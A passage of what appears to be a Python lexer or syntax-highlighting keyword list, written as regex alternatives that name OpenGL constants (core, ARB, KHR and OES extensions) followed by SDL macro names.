r'GL_TEXTURE_BINDING_RECTANGLE|'\n r'GL_TEXTURE_BINDING|'\n r'GL_NO_ERROR|'\n r'GL_GUILTY_CONTEXT_RESET|'\n r'GL_INNOCENT_CONTEXT_RESET|'\n r'GL_UNKNOWN_CONTEXT_RESET|'\n r'GL_CONTEXT_ROBUST_ACCESS|'\n r'GL_RESET_NOTIFICATION_STRATEGY|'\n r'GL_LOSE_CONTEXT_ON_RESET|'\n r'GL_NO_RESET_NOTIFICATION|'\n r'GL_CONTEXT_LOST|'\n r'GL_CONTEXT_RELEASE_BEHAVIOUR|'\n r'GL_NONE|'\n r'GL_CONTEXT_RELEASE_BEHAVIOUR_FLUSH|'\n r'GL_TEXTURE0_ARB|'\n r'GL_TEXTURE1_ARB|'\n r'GL_TEXTURE2_ARB|'\n r'GL_TEXTURE3_ARB|'\n r'GL_TEXTURE4_ARB|'\n r'GL_TEXTURE5_ARB|'\n r'GL_TEXTURE6_ARB|'\n r'GL_TEXTURE7_ARB|'\n r'GL_TEXTURE8_ARB|'\n r'GL_TEXTURE9_ARB|'\n r'GL_TEXTURE10_ARB|'\n r'GL_TEXTURE11_ARB|'\n r'GL_TEXTURE12_ARB|'\n r'GL_TEXTURE13_ARB|'\n r'GL_TEXTURE14_ARB|'\n r'GL_TEXTURE15_ARB|'\n r'GL_TEXTURE16_ARB|'\n r'GL_TEXTURE17_ARB|'\n r'GL_TEXTURE18_ARB|'\n r'GL_TEXTURE19_ARB|'\n r'GL_TEXTURE20_ARB|'\n r'GL_TEXTURE21_ARB|'\n r'GL_TEXTURE22_ARB|'\n r'GL_TEXTURE23_ARB|'\n r'GL_TEXTURE24_ARB|'\n r'GL_TEXTURE25_ARB|'\n r'GL_TEXTURE26_ARB|'\n r'GL_TEXTURE27_ARB|'\n r'GL_TEXTURE28_ARB|'\n r'GL_TEXTURE29_ARB|'\n r'GL_TEXTURE30_ARB|'\n r'GL_TEXTURE31_ARB|'\n r'GL_ACTIVE_TEXTURE_ARB|'\n r'GL_CLIENT_ACTIVE_TEXTURE_ARB|'\n r'GL_MAX_TEXTURE_UNITS_ARB|'\n r'GL_ARRAY_BUFFER_ARB|'\n r'GL_ELEMENT_ARRAY_BUFFER_ARB|'\n r'GL_ARRAY_BUFFER_BINDING_ARB|'\n r'GL_ELEMENT_ARRAY_BUFFER_BINDING_ARB|'\n r'GL_VERTEX_ARRAY_BUFFER_BINDING_ARB|'\n r'GL_NORMAL_ARRAY_BUFFER_BINDING_ARB|'\n r'GL_COLOR_ARRAY_BUFFER_BINDING_ARB|'\n r'GL_INDEX_ARRAY_BUFFER_BINDING_ARB|'\n r'GL_TEXTURE_COORD_ARRAY_BUFFER_BINDING_ARB|'\n r'GL_EDGE_FLAG_ARRAY_BUFFER_BINDING_ARB|'\n r'GL_SECONDARY_COLOR_ARRAY_BUFFER_BINDING_ARB|'\n r'GL_FOG_COORDINATE_ARRAY_BUFFER_BINDING_ARB|'\n r'GL_WEIGHT_ARRAY_BUFFER_BINDING_ARB|'\n r'GL_VERTEX_ATTRIB_ARRAY_BUFFER_BINDING_ARB|'\n r'GL_STREAM_DRAW_ARB|'\n r'GL_STREAM_READ_ARB|'\n r'GL_STREAM_COPY_ARB|'\n r'GL_STATIC_DRAW_ARB|'\n r'GL_STATIC_READ_ARB|'\n r'GL_STATIC_COPY_ARB|'\n r'GL_DYNAMIC_DRAW_ARB|'\n r'GL_DYNAMIC_READ_ARB|'\n r'GL_DYNAMIC_COPY_ARB|'\n r'GL_READ_ONLY_ARB|'\n r'GL_WRITE_ONLY_ARB|'\n r'GL_READ_WRITE_ARB|'\n r'GL_BUFFER_SIZE_ARB|'\n r'GL_BUFFER_USAGE_ARB|'\n r'GL_BUFFER_ACCESS_ARB|'\n r'GL_BUFFER_MAPPED_ARB|'\n r'GL_BUFFER_MAP_POINTER_ARB|'\n r'GL_MATRIX_PALETTE_ARB|'\n r'GL_MAX_MATRIX_PALETTE_STACK_DEPTH_ARB|'\n r'GL_MAX_PALETTE_MATRICES_ARB|'\n r'GL_CURRENT_PALETTE_MATRIX_ARB|'\n r'GL_MATRIX_INDEX_ARRAY_ARB|'\n r'GL_CURRENT_MATRIX_INDEX_ARB|'\n r'GL_MATRIX_INDEX_ARRAY_SIZE_ARB|'\n r'GL_MATRIX_INDEX_ARRAY_TYPE_ARB|'\n r'GL_MATRIX_INDEX_ARRAY_STRIDE_ARB|'\n r'GL_MATRIX_INDEX_ARRAY_POINTER_ARB|'\n r'GL_MULTISAMPLE_ARB|'\n r'GL_SAMPLE_ALPHA_TO_COVERAGE_ARB|'\n r'GL_SAMPLE_ALPHA_TO_ONE_ARB|'\n r'GL_SAMPLE_COVERAGE_ARB|'\n r'GL_SAMPLE_BUFFERS_ARB|'\n r'GL_SAMPLES_ARB|'\n r'GL_SAMPLE_COVERAGE_VALUE_ARB|'\n r'GL_SAMPLE_COVERAGE_INVERT_ARB|'\n r'GL_MULTISAMPLE_BIT_ARB|'\n r'GL_SAMPLES_PASSED_ARB|'\n r'GL_QUERY_COUNTER_BITS_ARB|'\n r'GL_CURRENT_QUERY_ARB|'\n r'GL_QUERY_RESULT_ARB|'\n r'GL_QUERY_RESULT_AVAILABLE_ARB|'\n r'GL_CLAMP_TO_BORDER_ARB|'\n r'GL_COMPRESSED_ALPHA_ARB|'\n r'GL_COMPRESSED_LUMINANCE_ARB|'\n r'GL_COMPRESSED_LUMINANCE_ALPHA_ARB|'\n r'GL_COMPRESSED_INTENSITY_ARB|'\n r'GL_COMPRESSED_RGB_ARB|'\n r'GL_COMPRESSED_RGBA_ARB|'\n r'GL_TEXTURE_COMPRESSION_HINT_ARB|'\n r'GL_TEXTURE_COMPRESSED_IMAGE_SIZE_ARB|'\n r'GL_TEXTURE_COMPRESSED_ARB|'\n r'GL_NUM_COMPRESSED_TEXTURE_FORMATS_ARB|'\n r'GL_COMPRESSED_TEXTURE_FORMATS_ARB|'\n r'GL_NORMAL_MAP_ARB|'\n r'GL_REFLECTION_MAP_ARB|'\n r'GL_TEXTURE_CUBE_MAP_ARB|'\n r'GL_TEXTURE_BINDING_CUBE_MAP_ARB|'\n r'GL_TEXTURE_CUBE_MAP_POSITIVE_X_ARB|'\n r'GL_TEXTURE_CUBE_MAP_NEGATIVE_X_ARB|'\n r'GL_TEXTURE_CUBE_MAP_POSITIVE_Y_ARB|'\n r'GL_TEXTURE_CUBE_MAP_NEGATIVE_Y_ARB|'\n r'GL_TEXTURE_CUBE_MAP_POSITIVE_Z_ARB|'\n r'GL_TEXTURE_CUBE_MAP_NEGATIVE_Z_ARB|'\n r'GL_PROXY_TEXTURE_CUBE_MAP_ARB|'\n r'GL_MAX_CUBE_MAP_TEXTURE_SIZE_ARB|'\n r'GL_COMBINE_ARB|'\n r'GL_COMBINE_RGB_ARB|'\n r'GL_COMBINE_ALPHA_ARB|'\n r'GL_SOURCE0_RGB_ARB|'\n r'GL_SOURCE1_RGB_ARB|'\n r'GL_SOURCE2_RGB_ARB|'\n r'GL_SOURCE0_ALPHA_ARB|'\n r'GL_SOURCE1_ALPHA_ARB|'\n r'GL_SOURCE2_ALPHA_ARB|'\n r'GL_OPERAND0_RGB_ARB|'\n r'GL_OPERAND1_RGB_ARB|'\n r'GL_OPERAND2_RGB_ARB|'\n r'GL_OPERAND0_ALPHA_ARB|'\n r'GL_OPERAND1_ALPHA_ARB|'\n r'GL_OPERAND2_ALPHA_ARB|'\n r'GL_RGB_SCALE_ARB|'\n r'GL_ADD_SIGNED_ARB|'\n r'GL_INTERPOLATE_ARB|'\n r'GL_CONSTANT_ARB|'\n r'GL_PRIMARY_COLOR_ARB|'\n r'GL_PREVIOUS_ARB|'\n r'GL_SUBTRACT_ARB|'\n r'GL_DOT3_RGB_ARB|'\n r'GL_DOT3_RGBA_ARB|'\n r'GL_MIRRORED_REPEAT_ARB|'\n r'GL_TRANSPOSE_MODELVIEW_MATRIX_ARB|'\n r'GL_TRANSPOSE_PROJECTION_MATRIX_ARB|'\n r'GL_TRANSPOSE_TEXTURE_MATRIX_ARB|'\n r'GL_TRANSPOSE_COLOR_MATRIX_ARB|'\n r'GL_MAX_VERTEX_UNITS_ARB|'\n r'GL_ACTIVE_VERTEX_UNITS_ARB|'\n r'GL_WEIGHT_SUM_UNITY_ARB|'\n r'GL_VERTEX_BLEND_ARB|'\n r'GL_CURRENT_WEIGHT_ARB|'\n r'GL_WEIGHT_ARRAY_TYPE_ARB|'\n r'GL_WEIGHT_ARRAY_STRIDE_ARB|'\n r'GL_WEIGHT_ARRAY_SIZE_ARB|'\n r'GL_WEIGHT_ARRAY_POINTER_ARB|'\n r'GL_WEIGHT_ARRAY_ARB|'\n r'GL_MODELVIEW0_ARB|'\n r'GL_MODELVIEW1_ARB|'\n r'GL_MODELVIEW2_ARB|'\n r'GL_MODELVIEW3_ARB|'\n r'GL_MODELVIEW4_ARB|'\n r'GL_MODELVIEW5_ARB|'\n r'GL_MODELVIEW6_ARB|'\n r'GL_MODELVIEW7_ARB|'\n r'GL_MODELVIEW8_ARB|'\n r'GL_MODELVIEW9_ARB|'\n r'GL_MODELVIEW10_ARB|'\n r'GL_MODELVIEW11_ARB|'\n r'GL_MODELVIEW12_ARB|'\n r'GL_MODELVIEW13_ARB|'\n r'GL_MODELVIEW14_ARB|'\n r'GL_MODELVIEW15_ARB|'\n r'GL_MODELVIEW16_ARB|'\n r'GL_MODELVIEW17_ARB|'\n r'GL_MODELVIEW18_ARB|'\n r'GL_MODELVIEW19_ARB|'\n r'GL_MODELVIEW20_ARB|'\n r'GL_MODELVIEW21_ARB|'\n r'GL_MODELVIEW22_ARB|'\n r'GL_MODELVIEW23_ARB|'\n r'GL_MODELVIEW24_ARB|'\n r'GL_MODELVIEW25_ARB|'\n r'GL_MODELVIEW26_ARB|'\n r'GL_MODELVIEW27_ARB|'\n r'GL_MODELVIEW28_ARB|'\n r'GL_MODELVIEW29_ARB|'\n r'GL_MODELVIEW30_ARB|'\n r'GL_MODELVIEW31_ARB|'\n r'GL_VERTEX_PROGRAM_ARB|'\n r'GL_VERTEX_PROGRAM_POINT_SIZE_ARB|'\n r'GL_VERTEX_PROGRAM_TWO_SIDE_ARB|'\n r'GL_COLOR_SUM_ARB|'\n r'GL_PROGRAM_FORMAT_ASCII_ARB|'\n r'GL_VERTEX_ATTRIB_ARRAY_ENABLED_ARB|'\n r'GL_VERTEX_ATTRIB_ARRAY_SIZE_ARB|'\n r'GL_VERTEX_ATTRIB_ARRAY_STRIDE_ARB|'\n r'GL_VERTEX_ATTRIB_ARRAY_TYPE_ARB|'\n r'GL_VERTEX_ATTRIB_ARRAY_NORMALIZED_ARB|'\n r'GL_CURRENT_VERTEX_ATTRIB_ARB|'\n r'GL_VERTEX_ATTRIB_ARRAY_POINTER_ARB|'\n r'GL_PROGRAM_LENGTH_ARB|'\n r'GL_PROGRAM_FORMAT_ARB|'\n r'GL_PROGRAM_BINDING_ARB|'\n r'GL_PROGRAM_INSTRUCTIONS_ARB|'\n r'GL_MAX_PROGRAM_INSTRUCTIONS_ARB|'\n r'GL_PROGRAM_NATIVE_INSTRUCTIONS_ARB|'\n r'GL_MAX_PROGRAM_NATIVE_INSTRUCTIONS_ARB|'\n r'GL_PROGRAM_TEMPORARIES_ARB|'\n r'GL_MAX_PROGRAM_TEMPORARIES_ARB|'\n r'GL_PROGRAM_NATIVE_TEMPORARIES_ARB|'\n r'GL_MAX_PROGRAM_NATIVE_TEMPORARIES_ARB|'\n r'GL_PROGRAM_PARAMETERS_ARB|'\n r'GL_MAX_PROGRAM_PARAMETERS_ARB|'\n r'GL_PROGRAM_NATIVE_PARAMETERS_ARB|'\n r'GL_MAX_PROGRAM_NATIVE_PARAMETERS_ARB|'\n r'GL_PROGRAM_ATTRIBS_ARB|'\n r'GL_MAX_PROGRAM_ATTRIBS_ARB|'\n r'GL_PROGRAM_NATIVE_ATTRIBS_ARB|'\n r'GL_MAX_PROGRAM_NATIVE_ATTRIBS_ARB|'\n r'GL_PROGRAM_ADDRESS_REGISTERS_ARB|'\n r'GL_MAX_PROGRAM_ADDRESS_REGISTERS_ARB|'\n r'GL_PROGRAM_NATIVE_ADDRESS_REGISTERS_ARB|'\n r'GL_MAX_PROGRAM_NATIVE_ADDRESS_REGISTERS_ARB|'\n r'GL_MAX_PROGRAM_LOCAL_PARAMETERS_ARB|'\n r'GL_MAX_PROGRAM_ENV_PARAMETERS_ARB|'\n r'GL_PROGRAM_UNDER_NATIVE_LIMITS_ARB|'\n r'GL_PROGRAM_STRING_ARB|'\n r'GL_PROGRAM_ERROR_POSITION_ARB|'\n r'GL_CURRENT_MATRIX_ARB|'\n r'GL_TRANSPOSE_CURRENT_MATRIX_ARB|'\n r'GL_CURRENT_MATRIX_STACK_DEPTH_ARB|'\n r'GL_MAX_VERTEX_ATTRIBS_ARB|'\n r'GL_MAX_PROGRAM_MATRICES_ARB|'\n r'GL_MAX_PROGRAM_MATRIX_STACK_DEPTH_ARB|'\n r'GL_PROGRAM_ERROR_STRING_ARB|'\n r'GL_MATRIX0_ARB|'\n r'GL_MATRIX1_ARB|'\n r'GL_MATRIX2_ARB|'\n r'GL_MATRIX3_ARB|'\n r'GL_MATRIX4_ARB|'\n r'GL_MATRIX5_ARB|'\n r'GL_MATRIX6_ARB|'\n r'GL_MATRIX7_ARB|'\n r'GL_MATRIX8_ARB|'\n r'GL_MATRIX9_ARB|'\n r'GL_MATRIX10_ARB|'\n r'GL_MATRIX11_ARB|'\n r'GL_MATRIX12_ARB|'\n r'GL_MATRIX13_ARB|'\n r'GL_MATRIX14_ARB|'\n r'GL_MATRIX15_ARB|'\n r'GL_MATRIX16_ARB|'\n r'GL_MATRIX17_ARB|'\n r'GL_MATRIX18_ARB|'\n r'GL_MATRIX19_ARB|'\n r'GL_MATRIX20_ARB|'\n r'GL_MATRIX21_ARB|'\n r'GL_MATRIX22_ARB|'\n r'GL_MATRIX23_ARB|'\n r'GL_MATRIX24_ARB|'\n r'GL_MATRIX25_ARB|'\n r'GL_MATRIX26_ARB|'\n r'GL_MATRIX27_ARB|'\n r'GL_MATRIX28_ARB|'\n r'GL_MATRIX29_ARB|'\n r'GL_MATRIX30_ARB|'\n r'GL_MATRIX31_ARB|'\n r'GL_DEPTH_COMPONENT16_ARB|'\n r'GL_DEPTH_COMPONENT24_ARB|'\n r'GL_DEPTH_COMPONENT32_ARB|'\n r'GL_TEXTURE_DEPTH_SIZE_ARB|'\n r'GL_DEPTH_TEXTURE_MODE_ARB|'\n r'GL_TEXTURE_COMPARE_MODE_ARB|'\n r'GL_TEXTURE_COMPARE_FUNC_ARB|'\n r'GL_COMPARE_R_TO_TEXTURE_ARB|'\n r'GL_TEXTURE_COMPARE_FAIL_VALUE_ARB|'\n r'GL_POINT_SIZE_MIN_ARB|'\n r'GL_POINT_SIZE_MAX_ARB|'\n r'GL_POINT_FADE_THRESHOLD_SIZE_ARB|'\n r'GL_POINT_DISTANCE_ATTENUATION_ARB|'\n r'GL_FRAGMENT_PROGRAM_ARB|'\n r'GL_PROGRAM_ALU_INSTRUCTIONS_ARB|'\n r'GL_PROGRAM_TEX_INSTRUCTIONS_ARB|'\n r'GL_PROGRAM_TEX_INDIRECTIONS_ARB|'\n r'GL_PROGRAM_NATIVE_ALU_INSTRUCTIONS_ARB|'\n r'GL_PROGRAM_NATIVE_TEX_INSTRUCTIONS_ARB|'\n r'GL_PROGRAM_NATIVE_TEX_INDIRECTIONS_ARB|'\n r'GL_MAX_PROGRAM_ALU_INSTRUCTIONS_ARB|'\n r'GL_MAX_PROGRAM_TEX_INSTRUCTIONS_ARB|'\n r'GL_MAX_PROGRAM_TEX_INDIRECTIONS_ARB|'\n r'GL_MAX_PROGRAM_NATIVE_ALU_INSTRUCTIONS_ARB|'\n r'GL_MAX_PROGRAM_NATIVE_TEX_INSTRUCTIONS_ARB|'\n r'GL_MAX_PROGRAM_NATIVE_TEX_INDIRECTIONS_ARB|'\n r'GL_MAX_TEXTURE_COORDS_ARB|'\n r'GL_MAX_TEXTURE_IMAGE_UNITS_ARB|'\n r'GL_OBJECT_TYPE_ARB|'\n r'GL_OBJECT_SUBTYPE_ARB|'\n r'GL_OBJECT_DELETE_STATUS_ARB|'\n r'GL_OBJECT_COMPILE_STATUS_ARB|'\n r'GL_OBJECT_LINK_STATUS_ARB|'\n r'GL_OBJECT_VALIDATE_STATUS_ARB|'\n r'GL_OBJECT_INFO_LOG_LENGTH_ARB|'\n r'GL_OBJECT_ATTACHED_OBJECTS_ARB|'\n r'GL_OBJECT_ACTIVE_UNIFORMS_ARB|'\n r'GL_OBJECT_ACTIVE_UNIFORM_MAX_LENGTH_ARB|'\n r'GL_OBJECT_SHADER_SOURCE_LENGTH_ARB|'\n r'GL_MAX_VERTEX_UNIFORM_COMPONENTS_ARB|'\n r'GL_MAX_VARYING_FLOATS_ARB|'\n r'GL_MAX_VERTEX_TEXTURE_IMAGE_UNITS_ARB|'\n r'GL_MAX_COMBINED_TEXTURE_IMAGE_UNITS_ARB|'\n r'GL_OBJECT_ACTIVE_ATTRIBUTES_ARB|'\n r'GL_OBJECT_ACTIVE_ATTRIBUTE_MAX_LENGTH_ARB|'\n r'GL_MAX_FRAGMENT_UNIFORM_COMPONENTS_ARB|'\n r'GL_MAX_COMPUTE_VARIABLE_GROUP_INVOCATIONS_ARB|'\n r'GL_MAX_COMPUTE_FIXED_GROUP_INVOCATIONS_ARB|'\n r'GL_MAX_COMPUTE_VARIABLE_GROUP_SIZE_ARB|'\n r'GL_MAX_COMPUTE_FIXED_GROUP_SIZE_ARB|'\n r'GL_PARAMETER_BUFFER_ARB|'\n r'GL_PARAMETER_BUFFER_BINDING_ARB|'\n r'GL_TEXTURE_CUBE_MAP_SEAMLESS|'\n r'GL_TEXTURE_SPARSE_ARB|'\n r'GL_VIRTUAL_PAGE_SIZE_INDEX_ARB|'\n r'GL_NUM_SPARSE_LEVELS_ARB|'\n r'GL_NUM_VIRTUAL_PAGE_SIZES_ARB|'\n r'GL_VIRTUAL_PAGE_SIZE_X_ARB|'\n r'GL_VIRTUAL_PAGE_SIZE_Y_ARB|'\n r'GL_VIRTUAL_PAGE_SIZE_Z_ARB|'\n r'GL_MAX_SPARSE_TEXTURE_SIZE_ARB|'\n r'GL_MAX_SPARSE_3D_TEXTURE_SIZE_ARB|'\n r'GL_MAX_SPARSE_ARRAY_TEXTURE_LAYERS_ARB|'\n r'GL_SPARSE_TEXTURE_FULL_ARRAY_CUBE_MIPAMPS_ARB|'\n r'GL_VERTICES_SUBMITTED_ARB|'\n r'GL_PRIMITIVES_SUBMITTED_ARB|'\n r'GL_VERTEX_SHADER_INVOCATIONS_ARB|'\n r'GL_TESS_CONTROL_SHADER_INVOCATIONS_ARB|'\n r'GL_TESS_EVALUATION_SHADER_INVOCATIONS_ARB|'\n r'GL_GEOMETRY_SHADER_INVOCATIONS_ARB|'\n r'GL_GEOMETRY_SHADER_PRIMITIVES_EMITTED_ARB|'\n r'GL_FRAGMENT_SHADER_INVOCATIONS_ARB|'\n r'GL_COMPUTE_SHADER_INVOCATIONS_ARB|'\n r'GL_CLIPPING_INPUT_PRIMITIVES_ARB|'\n r'GL_CLIPPING_OUTPUT_PRIMITIVES_ARB|'\n r'GL_SPARSE_STORAGE_BIT_ARB|'\n r'GL_SPARSE_BUFFER_PAGE_SIZE_ARB|'\n r'GL_TRANSFORM_FEEDBACK_OVERFLOW_ARB|'\n r'GL_TRANSFORM_FEEDBACK_STREAM_OVERFLOW_ARB|'\n r'GL_BLEND_ADVANCED_COHERENT_ARB|'\n r'GL_MULTIPLY_KHR|'\n r'GL_SCREEN_KHR|'\n r'GL_OVERLAY_KHR|'\n r'GL_DARKEN_KHR|'\n r'GL_LIGHTEN_KHR|'\n r'GL_COLORDODGE_KHR|'\n r'GL_COLORBURN_KHR|'\n r'GL_HARDLIGHT_KHR|'\n r'GL_SOFTLIGHT_KHR|'\n r'GL_DIFFERENCE_KHR|'\n r'GL_EXCLUSION_KHR|'\n r'GL_HSL_HUE_KHR|'\n r'GL_HSL_SATURATION_KHR|'\n r'GL_HSL_COLOR_KHR|'\n r'GL_HSL_LUMINOSITY_KHR|'\n r'GL_FUNC_ADD|'\n r'GL_BLEND_EQUATION|'\n r'GL_BLEND_EQUATION_RGB|'\n r'GL_BLEND_EQUATION_ALPHA|'\n r'GL_FUNC_SUBTRACT|'\n r'GL_FUNC_REVERSE_SUBTRACT|'\n r'GL_ARRAY_BUFFER|'\n r'GL_ELEMENT_ARRAY_BUFFER|'\n r'GL_ARRAY_BUFFER_BINDING|'\n r'GL_ELEMENT_ARRAY_BUFFER_BINDING|'\n r'GL_STATIC_DRAW|'\n r'GL_DYNAMIC_DRAW|'\n r'GL_STREAM_DRAW|'\n r'GL_READ_ONLY|'\n r'GL_WRITE_ONLY|'\n r'GL_BUFFER_SIZE|'\n r'GL_BUFFER_USAGE|'\n r'GL_BUFFER_ACCESS|'\n r'GL_CURRENT_VERTEX_ATTRIB|'\n r'GL_STENCIL_BACK_FUNC|'\n r'GL_STENCIL_BACK_FAIL|'\n r'GL_STENCIL_BACK_PASS_DEPTH_FAIL|'\n r'GL_STENCIL_BACK_PASS_DEPTH_PASS|'\n r'GL_STENCIL_BACK_REF|'\n r'GL_STENCIL_BACK_VALUE_MASK|'\n r'GL_STENCIL_BACK_WRITEMASK|'\n r'GL_SUBPIXEL_BITS|'\n r'GL_FRAGMENT_SHADER_DERIVATIVE_HINT|'\n r'GL_FIXED|'\n r'GL_LUMINANCE_ALPHA|'\n r'GL_VERTEX_PROGRAM_POINT_SIZE|'\n r'GL_VERTEX_ATTRIB_ARRAY_NORMALIZED|'\n r'GL_FRAGMENT_SHADER|'\n r'GL_VERTEX_SHADER|'\n r'GL_MAX_VERTEX_ATTRIBS|'\n r'GL_MAX_VERTEX_UNIFORM_COMPONENTS|'\n r'GL_MAX_VARYING_FLOATS|'\n r'GL_MAX_COMBINED_TEXTURE_IMAGE_UNITS|'\n r'GL_MAX_VERTEX_TEXTURE_IMAGE_UNITS|'\n r'GL_MAX_TEXTURE_IMAGE_UNITS|'\n r'GL_MAX_FRAGMENT_UNIFORM_COMPONENTS|'\n r'GL_SHADER_TYPE|'\n r'GL_DELETE_STATUS|'\n r'GL_LINK_STATUS|'\n r'GL_VALIDATE_STATUS|'\n r'GL_ATTACHED_SHADERS|'\n r'GL_ACTIVE_UNIFORMS|'\n r'GL_ACTIVE_UNIFORM_MAX_LENGTH|'\n r'GL_ACTIVE_ATTRIBUTES|'\n r'GL_ACTIVE_ATTRIBUTE_MAX_LENGTH|'\n r'GL_SHADING_LANGUAGE_VERSION|'\n r'GL_CURRENT_PROGRAM|'\n r'GL_VERTEX_ATTRIB_ARRAY_ENABLED|'\n r'GL_VERTEX_ATTRIB_ARRAY_SIZE|'\n r'GL_VERTEX_ATTRIB_ARRAY_STRIDE|'\n r'GL_VERTEX_ATTRIB_ARRAY_TYPE|'\n r'GL_VERTEX_ATTRIB_ARRAY_NORMALIZED|'\n r'GL_VERTEX_ATTRIB_ARRAY_POINTER|'\n r'GL_IMPLEMENTATION_COLOR_READ_TYPE_OES|'\n r'GL_IMPLEMENTATION_COLOR_READ_FORMAT_OES|'\n r'GL_PALETTE4_RGB8_OES|'\n r'GL_PALETTE4_RGBA8_OES|'\n r'GL_PALETTE4_R5_G6_B5_OES|'\n r'GL_PALETTE4_RGBA4_OES|'\n r'GL_PALETTE4_RGB5_A1_OES|'\n r'GL_PALETTE8_RGB8_OES|'\n r'GL_PALETTE8_RGBA8_OES|'\n r'GL_PALETTE8_R5_G6_B5_OES|'\n r'GL_PALETTE8_RGBA4_OES|'\n r'GL_PALETTE8_RGB5_A1_OES|'\n r'GL_FRAMEBUFFER_OES|'\n r'GL_RENDERBUFFER_OES|'\n r'GL_RGB565_OES|'\n r'GL_STENCIL_INDEX_OES|'\n r'GL_RENDERBUFFER_WIDTH_OES|'\n r'GL_RENDERBUFFER_HEIGHT_OES|'\n r'GL_RENDERBUFFER_INTERNAL_FORMAT_OES|'\n r'GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE_OES|'\n r'GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME_OES|'\n r'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL_OES|'\n r'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE_OES|'\n r'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_3D_ZOFFSET_OES|'\n r'GL_COLOR_ATTACHMENT0_OES|'\n r'GL_COLOR_ATTACHMENT1_OES|'\n r'GL_COLOR_ATTACHMENT2_OES|'\n r'GL_COLOR_ATTACHMENT3_OES|'\n r'GL_COLOR_ATTACHMENT4_OES|'\n r'GL_COLOR_ATTACHMENT5_OES|'\n r'GL_COLOR_ATTACHMENT6_OES|'\n r'GL_COLOR_ATTACHMENT7_OES|'\n r'GL_COLOR_ATTACHMENT8_OES|'\n r'GL_COLOR_ATTACHMENT9_OES|'\n r'GL_COLOR_ATTACHMENT10_OES|'\n r'GL_COLOR_ATTACHMENT11_OES|'\n r'GL_COLOR_ATTACHMENT12_OES|'\n r'GL_COLOR_ATTACHMENT13_OES|'\n r'GL_COLOR_ATTACHMENT14_OES|'\n r'GL_COLOR_ATTACHMENT15_OES|'\n r'GL_DEPTH_ATTACHMENT_OES|'\n r'GL_STENCIL_ATTACHMENT_OES|'\n r'GL_FRAMEBUFFER_COMPLETE_OES|'\n r'GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT_OES|'\n r'GL_FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT_OES|'\n r'GL_FRAMEBUFFER_INCOMPLETE_DUPLICATE_ATTACHMENT_OES|'\n r'GL_FRAMEBUFFER_INCOMPLETE_DIMENSIONS_OES|'\n r'GL_FRAMEBUFFER_INCOMPLETE_FORMATS_OES|'\n r'GL_FRAMEBUFFER_UNSUPPORTED_OES|'\n r'GL_FRAMEBUFFER_STATUS_ERROR_OES|'\n r'GL_FRAMEBUFFER_BINDING_OES|'\n r'GL_RENDERBUFFER_BINDING_OES|'\n r'GL_MAX_COLOR_ATTACHMENTS_OES|'\n r'GL_MAX_RENDERBUFFER_SIZE_OES|'\n r'GL_INVALID_FRAMEBUFFER_OPERATION_OES|'\n r'GL_STENCIL_INDEX1_OES|'\n r'GL_STENCIL_INDEX4_OES|'\n r'GL_STENCIL_INDEX8_OES|'\n r'GL_HALF_FLOAT_OES|'\n r'GL_ETC1_RGB8_OES|'\n r'GL_BUFFER_MAPPED|'\n r'GL_BUFFER_MAP_POINTER|'\n r'GL_COMPILE_STATUS|'\n r'GL_INFO_LOG_LENGTH|'\n r'GL_SHADER_SOURCE_LENGTH|'\n r'GL_PLATFORM_BINARY_OES|'\n r'SDL_ALPHA_OPAQUE|'\n r'SDL_ALPHA_TRANSPARENT|'\n r'SDL_ANDROID_EXTERNAL_STORAGE_READ|'\n r'SDL_ANDROID_EXTERNAL_STORAGE_WRITE|'\n r'SDL_ASSEMBLY_ROUTINES|'\n r'SDL_ASSERT_LEVEL|'\n r'SDL_AUDIOCVT_PACKED|'\n r'SDL_AUDIO_ALLOW_ANY_CHANGE|'\n r'SDL_AUDIO_ALLOW_CHANNELS_CHANGE|'\n r'SDL_AUDIO_ALLOW_FORMAT_CHANGE|'\n r'SDL_AUDIO_ALLOW_FREQUENCY_CHANGE|'\n r'SDL_AUDIO_BITSIZE|'\n r'SDL_AUDIO_DRIVER_DISK|'\n r'SDL_AUDIO_DRIVER_DUMMY|'\n r'SDL_AUDIO_DRIVER_OSS|'\n r'SDL_AUDIO_ISBIGENDIAN|'\n r'SDL_AUDIO_ISFLOAT|'\n r'SDL_AUDIO_ISINT|'\n r'SDL_AUDIO_ISLITTLEENDIAN|'\n r'SDL_AUDIO_ISSIGNED|'\n r'SDL_AUDIO_ISUNSIGNED|'\n r'SDL_AUDIO_MASK_BITSIZE|'\n r'SDL_AUDIO_MASK_DATATYPE|'\n r'SDL_AUDIO_MASK_ENDIAN|'\n r'SDL_AUDIO_MASK_SIGNED|'\n r'SDL_BIG_ENDIAN|'\n r'SDL_BITSPERPIXEL|'\n r'SDL_BUTTON|'\n r'SDL_BUTTON_LEFT|'\n r'SDL_BUTTON_LMASK|'\n r'SDL_BUTTON_MIDDLE|'\n r'SDL_BUTTON_MMASK|'\n r'SDL_BUTTON_RIGHT|'\n r'SDL_BUTTON_RMASK|'\n r'SDL_BUTTON_X|'\n r'SDL_BYTEORDER|'\n r'SDL_BYTESPERPIXEL|'\n r'SDL_CACHELINE_SIZE|'\n r'SDL_COMPILEDVERSION|'\n r'SDL_COMPILE_TIME_ASSERT|'\n r'SDL_DEFINE_PIXELFORMAT|'\n r'SDL_DEFINE_PIXELFOURCC|'\n r'SDL_DISABLE|'\n r'SDL_DONTFREE|'\n r'SDL_ENABLE|'\n r'SDL_FILE|'\n r'SDL_FILESYSTEM_UNIX|'\n r'SDL_FORCE_INLINE|'\n r'SDL_FOURCC|'\n r'SDL_HAPTIC_AUTOCENTER|'\n r'SDL_HAPTIC_CARTESIAN|'\n r'SDL_HAPTIC_CONSTANT|'\n r'SDL_HAPTIC_CUSTOM|'\n r'SDL_HAPTIC_DAMPER|'\n r'SDL_HAPTIC_FRICTION|'\n r'SDL_HAPTIC_GAIN|'\n r'SDL_HAPTIC_INERTIA|'\n r'SDL_HAPTIC_INFINITY|'\n r'SDL_HAPTIC_LEFTRIGHT|'\n r'SDL_HAPTIC_LINUX|'\n r'SDL_HAPTIC_PAUSE|'\n r'SDL_HAPTIC_POLAR|'\n r'SDL_HAPTIC_RAMP|'\n 